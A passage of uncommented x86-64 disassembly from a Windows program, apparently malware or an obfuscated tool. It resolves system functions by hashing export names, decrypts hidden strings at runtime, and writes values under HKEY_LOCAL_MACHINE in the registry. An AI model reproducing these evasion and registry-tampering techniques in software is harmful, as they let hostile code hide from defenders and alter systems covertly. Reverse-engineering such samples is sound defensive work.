movsx eax, dl
imul ecx, eax, 0x35
movzx eax, sil
inc esi
sub al, cl
add al, 0x34
xor byte [r8 - 1], al
cmp esi, 0x1a
jl 0x7ff7690feb20
xor r9d, r9d
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call r11
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.advapi32.dll_RegCloseKey]
lea rcx, [rbp + 0x110]
call fcn.7ff7690bec40
lea rcx, [rbp + 0x130]
call fcn.7ff7690bec40
mov r12, qword [rsp + 0x600]
xor eax, eax
mov rcx, qword [rbp + 0x4c0]
xor rcx, rsp
call fcn.7ff76915d150
lea r11, [rsp + 0x5e0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov eax, dword [0x7ff76917d5dc]
movups xmm0, xmmword [0x7ff76917d580]
mov dword [rsp + 0x58], eax
movzx eax, word [0x7ff76917d5e0]
movups xmm1, xmmword [0x7ff76917d590]
mov word [rsp + 0x5c], ax
movzx eax, word [0x7ff76917d5a8]
mov word [rbp - 0x48], ax
movzx eax, byte [0x7ff76917d5aa]
movups xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x46], al
movsd xmm0, qword [0x7ff76917d5a0]
movups xmmword [rbp - 0x60], xmm1
movsd qword [rbp - 0x50], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x7ff7690feca7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x7ff7690feca7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xd85fd6ab
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7690feca2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x7ff7690fec80
cmp r8d, 0x5de4718a
je 0x7ff7690fecac
test r9d, r9d
jne 0x7ff7690fec60
mov rax, qword [rax]
jmp 0x7ff7690fec30
mov ecx, dword [rdi + 0x24]
mov r8d, esi
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
xor byte [rsp + 0x59], 0x35
add r11, r10
xor byte [rsp + 0x5a], 0x36
xor byte [rsp + 0x5b], 0x37
xor byte [rsp + 0x5c], 0x38
xor byte [rsp + 0x5d], 0x39
mov byte [rsp + 0x58], 0x43
cmp r12d, 2
jl 0x7ff7690fee27
movdqa xmm0, xmmword [0x7ff76917de50]
lea rcx, [rbp - 0x6c]
movdqa xmm5, xmmword [0x7ff76917dd10]
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm6, xmmword [0x7ff76917dd60]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x7ff7690fed20
cmp r8d, 0x2b
jge 0x7ff7690fee62
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x7ff7690fee31
xor r9d, r9d
lea r8, [rsp + 0x58]
lea rdx, [rbp - 0x70]
xor ecx, ecx
call r11
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.advapi32.dll_RegCloseKey]
xor edx, edx
lea rcx, [rbp + 0x170]
mov r8d, 0x108
call sub.VCRUNTIME140.dll_memset
movzx eax, byte [0x7ff76917d5d8]
movsd xmm0, qword [0x7ff76917d5d0]
xor al, 0x3c
movsd qword [rsp + 0x60], xmm0
xor byte [rsp + 0x61], 0x35
xor byte [rsp + 0x62], 0x36
xor byte [rsp + 0x63], 0x37
xor byte [rsp + 0x64], 0x38
xor byte [rsp + 0x65], 0x39
xor byte [rsp + 0x66], 0x3a
xor byte [rsp + 0x67], 0x3b
cmp qword [rbp + 0x128], 7
mov byte [rsp + 0x68], al
lea rax, [rbp + 0x110]
cmova rax, qword [rbp + 0x110]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0xf8], rax
mov byte [rsp + 0x60], 0x5c
call fcn.7ff76915c728
movaps xmm0, xmmword [rbp + 0xf0]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp - 0x70]
call fcn.7ff7690bf880
lea rax, [rsp + 0x60]
nop
inc r14
cmp byte [rax + r14], sil
jne 0x7ff7690fef30
mov r8, r14
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.7ff7690b6a60
xorps xmm0, xmm0
lea rdx, [rsp + 0x70]
movups xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x170]
mov r8d, 2
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
cmp qword [rbp - 0x78], 0xf
cmova rdx, qword [rsp + 0x70]
call fcn.7ff7690bd840
mov rax, qword [rbp + 0x170]
lea r14, [0x7ff769177858]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x170], r14
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x16c], edx
lea rcx, [rsp + 0x70]
call fcn.7ff7690b6990
lea rcx, [rbp - 0x70]
call fcn.7ff7690b6990
lea rdx, [0x7ff76917d4d0]
lea rcx, [rbp + 0x170]
call fcn.7ff7690dbfd0
lea rdx, [0x7ff7690f1650]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x178]
call fcn.7ff7690bea40
test rax, rax
jne 0x7ff7690ff036
mov rax, qword [rbp + 0x170]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x170]
add rcx, rax
call qword [sym.imp.msvcp140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movzx eax, word [0x7ff76917d6f0]
mov r8d, esi
mov word [rbp - 0x48], ax
movzx eax, byte [0x7ff76917d6f2]
mov byte [rbp - 0x46], al
movups xmm0, xmmword [0x7ff76917d6c8]
movups xmm1, xmmword [0x7ff76917d6d8]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x7ff76917d6e8]
movsd qword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x60], xmm1
cmp r12d, 2
jl 0x7ff7690ff1b7
movdqa xmm0, xmmword [0x7ff76917de50]
lea rcx, [rbp - 0x6c]
movdqa xmm5, xmmword [0x7ff76917dd10]
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm6, xmmword [0x7ff76917dd60]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x7ff7690ff0b0
cmp r8d, 0x2b
jge 0x7ff7690ff1f2
movsxd rax, r8d
lea r10, [rbp - 0x70]
add r10, rax
mov eax, 0x4d4873ed
lea r10, [r10 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r10 - 1], al
cmp r8d, 0x2b
jl 0x7ff7690ff1c1
lea rax, [rbp + 0xe0]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x70]
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x7ff7690ffc5c
mov eax, dword [0x7ff76917d5dc]
movups xmm0, xmmword [0x7ff76917d4f0]
movups xmm1, xmmword [0x7ff76917d500]
mov dword [rsp + 0x48], eax
movzx eax, word [0x7ff76917d5e0]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x7ff76917d530]
movups xmmword [rbp + 0x80], xmm0
movups xmm0, xmmword [0x7ff76917d510]
movups xmmword [rbp + 0x90], xmm1
movups xmm1, xmmword [0x7ff76917d520]
mov byte [rbp + 0xc0], al
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x7ff7690ff307
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x7ff7690ff307
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa0521121
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7690ff302
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x7ff7690ff2e0
cmp r8d, 0x9d300230
je 0x7ff7690ff30c
test r9d, r9d
jne 0x7ff7690ff2c0
mov rax, qword [rax]
jmp 0x7ff7690ff290
mov ecx, dword [rdi + 0x24]
mov r8d, esi
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
xor byte [rsp + 0x49], 0x35
add r11, r10
xor byte [rsp + 0x4a], 0x36
xor byte [rsp + 0x4b], 0x37
xor byte [rsp + 0x4c], 0x38
xor byte [rsp + 0x4d], 0x39
mov byte [rsp + 0x48], 0x43
cmp r12d, 2
jl 0x7ff7690ff487
movdqa xmm0, xmmword [0x7ff76917de50]
lea rcx, [rbp + 0x84]
movdqa xmm5, xmmword [0x7ff76917dd10]
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm6, xmmword [0x7ff76917dd60]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x40
jl 0x7ff7690ff380
cmp r8d, 0x41
jge 0x7ff7690ff4d1
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x41
jl 0x7ff7690ff4a0
xor r9d, r9d
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x80]
xor ecx, ecx
call r11
movups xmm1, xmmword [0x7ff76917d548]
movups xmm0, xmmword [0x7ff76917d538]
movups xmmword [rbp - 0x10], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rbp - 0x20], xmm0
test al, al
je 0x7ff7690ff691
cmp r12d, 2
jl 0x7ff7690ff651
movdqa xmm0, xmmword [0x7ff76917de50]
lea rcx, [rbp - 0x1c]
movdqa xmm5, xmmword [0x7ff76917dd10]
mov edx, esi
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm6, xmmword [0x7ff76917dd60]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x20
jl 0x7ff7690ff550
jmp 0x7ff7690ff691
lea r10, [rbp - 0x20]
mov r8d, esi
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r10, [r10 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r10 - 1], al
cmp r8d, 0x20
jl 0x7ff7690ff660
mov rcx, qword [rbp + 0xe0]
lea rax, [rbp + 0xe8]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0x20]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.advapi32.dll_RegSetValueExA]
test eax, eax
je 0x7ff7690ff9d5
mov eax, dword [0x7ff76917d5dc]
movups xmm0, xmmword [0x7ff76917d558]
mov dword [rsp + 0x30], eax
movzx eax, word [0x7ff76917d5e0]
mov word [rsp + 0x34], ax
movzx eax, word [0x7ff76917d570]
movups xmmword [rbp + 0xf0], xmm0
mov word [rbp + 0x108], ax
movsd xmm0, qword [0x7ff76917d568]
movsd qword [rbp + 0x100], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x7ff7690ff797
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x7ff7690ff797
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xf483282
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7690ff792
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x7ff7690ff770
cmp r8d, 0x4f48e005
je 0x7ff7690ff79c
test r9d, r9d
jne 0x7ff7690ff750
mov rax, qword [rax]
jmp 0x7ff7690ff720
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
xor byte [rsp + 0x31], 0x35
add r11, r10
xor byte [rsp + 0x32], 0x36
xor byte [rsp + 0x33], 0x37
xor byte [rsp + 0x34], 0x38
xor byte [rsp + 0x35], 0x39
mov byte [rsp + 0x30], 0x43
cmp r12d, 2
jl 0x7ff7690ff914
movdqa xmm0, xmmword [0x7ff76917de50]
lea rcx, [rbp + 0xf4]
movdqa xmm5, xmmword [0x7ff76917dd10]
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm6, xmmword [0x7ff76917dd60]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, esi
lea eax, [rsi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add esi, 8
pmuldq xmm1, xmm4
mov eax, esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp esi, 0x18
jl 0x7ff7690ff810
cmp eax, 0x1a
jge 0x7ff7690ff95e
movsxd rax, esi
lea r8, [rbp + 0xf0]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, sil
inc esi
sub al, cl
add al, 0x34
xor byte [r8 - 1], al
cmp esi, 0x1a
jl 0x7ff7690ff930
xor r9d, r9d
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call r11
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x170], r14
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x16c], edx
lea rcx, [rbp + 0x178]
call fcn.7ff7690be570
lea rcx, [rbp + 0x180]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x218]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x7ff7690feb6f
lea rdx, [rbp + 0x58]
call fcn.7ff769100700
lea rdx, [rbp - 0x70]
mov r14, rax
call fcn.7ff769100770
mov rcx, qword gs:[0x60]
mov r15, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x7ff7690ffa77
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x7ff7690ffa77
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa1c6ad69
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x7ff7690ffa72
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x7ff7690ffa50
cmp r8d, 0xfb289b78
je 0x7ff7690ffa7c
test r9d, r9d
jne 0x7ff7690ffa30
mov rcx, qword [rcx]
jmp 0x7ff7690ffa00
mov ecx, dword [rdi + 0x24]
movzx eax, byte [r14 + 5]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
test al, al
je 0x7ff7690ffabb
xor byte [r14], 0x34
xor byte [r14 + 1], 0x35
xor byte [r14 + 2], 0x36
xor byte [r14 + 3], 0x37
xor byte [r14 + 4], 0x38
xor al, 0x39
mov byte [r14 + 5], al
cmp byte [r15 + 0x2a], sil
je 0x7ff7690ffc41
mov r8d, esi
cmp r12d, 2
jl 0x7ff7690ffc07
movdqa xmm0, xmmword [0x7ff76917de50]
mov rcx, r15
movdqa xmm5, xmmword [0x7ff76917dd10]
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm6, xmmword [0x7ff76917dd60]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x7ff7690ffb00
cmp r8d, 0x2b
jge 0x7ff7690ffc41
movsxd r9, r8d
add r9, r15
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x7ff7690ffc10
xor r9d, r9d
mov r8, r14
mov rdx, r15
xor ecx, ecx
call r11
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.advapi32.dll_RegCloseKey]
lea rcx, [rbp + 0x2a0]
call fcn.7ff7690bd660
lea rdx, [rbp + 0x60]
